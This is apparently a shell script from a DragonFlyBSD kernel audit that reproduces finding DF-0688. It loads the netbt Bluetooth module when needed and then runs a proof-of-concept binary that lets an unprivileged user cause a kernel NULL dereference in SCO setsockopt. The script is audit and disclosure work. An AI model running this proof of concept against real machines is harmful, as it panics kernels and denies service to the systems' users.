DragonFlyBSD Kernel Audit
DF-0688 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0688 run: an unprivileged user triggers the SCO setsockopt NULL deref.
# Precondition: netbt.ko must be loaded by an admin (Bluetooth setup).
set -e
cd "$(dirname "$0")"

if ! kldstat -m 2>/dev/null | grep -qi netbt; then
    if [ "$(id -u)" = "0" ]; then
        echo "[*] loading netbt.ko (admin setup, simulating Bluetooth deployment)"
        kldload netbt.ko
    else
        echo "[!] netbt.ko not loaded; an admin must 'kldload netbt.ko' first" >&2
        exit 2
    fi
fi

echo "[*] running as: $(id)"
echo "[*] firing PoC"
./sco_setsockopt_panic
echo "RUN_EXIT=$?"